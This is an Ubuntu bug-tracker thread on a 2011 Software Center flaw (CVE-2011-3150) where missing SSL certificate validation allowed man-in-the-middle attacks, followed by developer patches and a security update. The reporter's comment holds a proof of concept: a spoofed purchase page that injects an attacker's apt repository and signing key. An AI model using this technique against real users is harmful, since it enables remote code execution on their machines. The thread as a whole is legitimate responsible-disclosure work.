Re: "Single sign on page doesn't look secure" --> well it isn't :>

Bug #874242 reported by David on 2011-10-14
This bug affects 1 person
Affects Status Importance Assigned to Milestone
Won't Fix
software-center (Ubuntu)

Bug Description

So the new ubuntu came out (11.10) (well done!) and I decided to play with the new ubuntu store software manager program. So it turns out that previously a bug was reported saying that "Single sign on page doesn't look secure",, well... guess what? it isn't "secure tm"
I placed an entry in /etc/hosts to redirect to the address of an ISP and attempted to "buy a piece of software" via the ubuntu software center ... well instead of viewing the page I got the ISP's web page ...
I haven't reviewed the code yet, but I doubt the code is doing sufficient ssl validation ...

tldr: this is a bad thing because user's who expect to login to ubuntu safely(with ssl :) ) and buy software are at risk.

I need to confirm / check if this will give $man in the middle the ability to get remote code execution. From a quick review of the source code, it looks like this is possible ... (see softwarecenter/ui/gtk3/views/

David (d--) wrote :

Right, so my guess was correct ... I have described a basic test case for "compromising" a remote system below (by adding your own repository & new gpg key for apt to trust to a mitm'ed $victim).

1. point at your local machine.
2. Adjust the contents in the file found under "FILE CONTENTS" below to fit with your pgp key, repository location and other respective fields. Then make the file available under the web root at /en/+openid/index.html (this will require a web server of some kind).

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
 <script type="text/javascript">
  function changeTitle(title) { document.title = title; }
  function success() { changeTitle('{"successful" : true, "deb_line" : "deb https://user:<email address hidden>/mvo/ubuntu lucid main", "package_name" : "2vcard", "pkgname" : "PWNED","application_name" : "The 2vcard app", "signing_key_id" : "1024R/0EB12F05"}') }
  function cancel() { changeTitle('{ "successful" : false }') }
 <h1>Purchase test page</h1>
 <p> To buy Frobunicator for 99$ you need to enter your credit card info</p>

 <p> Enter your credit card info </p>
 <input type="entry">
 <input type="button" name="test_button2"
 <input type="button" name="test_button"
        value="Buy now"


//The file contents is mostly a copy paste from the source code(of software center), except that I have added <script>success();</script> near the bottom so as to immediately trigger a "successful" "purchase".

3. Try to "buy" some software from the ubuntu software center.

Note: your user will be prompted to enter their password so as to install the "purchased software". The ppa information and corresponding pgp key will have been added under /etc/apt/ in the respective files.

4. ???

5. :/

TLDR: The man in the middle flaw in the software-center package can be leveraged to "compromise" the system of an ubuntu user who is trying to buy software via the software-center.

Michael Vogt (mvo) on 2011-10-17
Changed in software-center (Ubuntu):
status: New → Triaged
importance: Undecided → Critical
Michael Vogt (mvo) on 2011-10-17
Changed in software-center (Ubuntu):
status: Triaged → In Progress
Michael Vogt (mvo) wrote :

This shows (on the example url that will issue a cert warning on firefox/chrome) that webkit/libsoup fail to honor ssl-strict.

Michael Vogt (mvo) wrote :

Here is what needs to be done to fix it for s-c only:

=== modified file 'softwarecenter/ui/gtk3/views/'
--- softwarecenter/ui/gtk3/views/ 2011-09-29 14:28:24 +0000
+++ softwarecenter/ui/gtk3/views/ 2011-10-17 11:27:29 +0000
@@ -26,6 +26,10 @@
 import sys
 import urllib
 from gi.repository import WebKit as webkit
+# ensure we have a ssl-ca-file set, libsoup/webkit will *not* set this up
+# automatically
+session = webkit.get_default_session()
+session.set_property("ssl-ca-file", "/etc/ssl/certs/ca-cerficates.crt")

 from gettext import gettext as _

But this really feels like it should be fixed on a libsoup level, not on a individual applications

Michael Vogt (mvo) wrote :

Fwiw, with the above I get a handshake error from the regular too, its traced down to:
$ gnutls-cli --x509cafile /etc/ssl/certs/ca-certificates.crt

Michael Vogt (mvo) wrote :

Once that is fixed we can deploy the above fix for oneiric.

David (d--) wrote :


Michael Vogt (mvo) wrote :

There appears to be no API to set the default soup session in python-webkit for natty and maverick. So either we need a ctypes based solution (I will look into that) or fix it at the libsoup level (which while I will lead to regressions would still prefer over fixing all individual applications).

Michael Vogt (mvo) wrote :
Michael Vogt (mvo) wrote :

All fixes depend on that cert issue with gnutls mentioned in comment #5 for {software-center,pay} gets fixed first.

I filed RT #48544 for the admins about this.

Michael Vogt (mvo) wrote :

Of course we need to inspect the other webkit/pywebkit using apps and ensure they setup libsoup correctly too.

Marc Deslauriers (mdeslaur) wrote :

Please use CVE-2011-3150 for the issue in software-center.

Michael Vogt (mvo) wrote :

The gnutls-cli problem is now fixed, it turned out that it was a cert-chain ordering problem.

Michael Vogt (mvo) wrote :

Here is something that we should propose to upstream for P. I actually would really like to have it in a security update as well, but I can see that its controversial.

At the same time IMO it simply does not make sense to have a settings "ssl-strict" and "ssl-ca-file" and only when settings the later the former is honored. I also think that ssl-strict and no ssl_ca_in_creds should be a failure, I will attach a seperate patch.

Michael Vogt (mvo) wrote :

This is a patch that forces ssl-strict to fail if the credentials can not be verified (i.e. missing cert).

This is actually only needed when ssl-ca-file is NULL because with no ssl-ca-file the GTlsCertificateFlags validation_flags are set to 0 (instead of e.g. G_TLS_CERTIFICATE_VALIDATE_ALL). This setting the side-effect that even if gio has a default cert file (which it does), *no* checks are performed for the validation.

With the previous patch (that adds a default value to ssl-ca-file this should actually not be needed anymore. Having said that, I think ssl-strict==True and ssl-ca-file==NULL should simply be a failure (and this is what this patch archives).

David (d--) wrote :

When are the various fixing going to be pushed out ? (soon I hope).

David (d--) wrote :


Michael Vogt (mvo) wrote :

Hello David! Thanks for your question.

I will leave the answer to this to the security team, AIUI they want to scan the archive for more users of webkit/webkitgtk that uses invalid ssl cert checking by default. The two other ones that come to my mind are the banshee and rythmbox amazon and ubuntuone store plugins. Both take credit card information so fixing them is also pretty important.

David (d--) wrote :

Wouldn't the diff you attached above against libsoup fix the other issues?

David (d--) wrote :

IMHO, I would like to see this fixed sometime within the next two weeks due to the nature of the bug. While leaking cc details is bad, it isn't as bad as code / repository injection.

Marc Deslauriers (mdeslaur) wrote :

Hi David,

Sorry for the delay in publishing this. We are currently investigating other applications that use SSL in the archive, and are finding more issues that are similar.

Publishing this now will cause people to search for other applications that have similar issues, so we need to get them all fixed at the same time. This will take a while as in some cases, server side fixes are needed.

Thanks for your comprehension in this matter.

Launchpad Janitor (janitor) wrote :

This bug was fixed in the package software-center - 5.0.2ubuntu0.1

software-center (5.0.2ubuntu0.1) oneiric-security; urgency=low

  * SECURITY UPDATE: MITM via incorrect ssl cert validation (LP: #874242)
    - softwarecenter/ui/gtk3/views/ Set the ssl-ca-file
      libsoup property so ssl cert validation works.
    - CVE-2011-3150
 -- Marc Deslauriers <email address hidden> Fri, 18 Nov 2011 08:29:21 -0500

Changed in software-center (Ubuntu):
status: In Progress → Fix Released
Michael Vogt (mvo) wrote :

Now that the update is out, any objections for trying to get my libsoup to upstream?

Marc Deslauriers (mdeslaur) wrote :

Michael: No, please do!

Changed in software-center:
importance: Unknown → Wishlist
status: Unknown → Won't Fix
Changed in libsoup:
importance: Unknown → Wishlist
status: Unknown → New
Changed in libsoup:
status: New → Invalid
visibility: private → public
Curtis Hovey (sinzui) on 2012-05-03
no longer affects: libsoup
affects: software-center → libsoup
Dylan McCall (dylanmccall) wrote :

Okay, could anyone clarify what happened to the patch for libsoup? I'm wondering if we can expect libsoup to load CA files by default in the future, or if problems like this one in Software Center should be reported mercilessly until they're all fixed in their respective applications.

Is there a separate bug report where people can track the API problem that mvo's patches cover?

To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.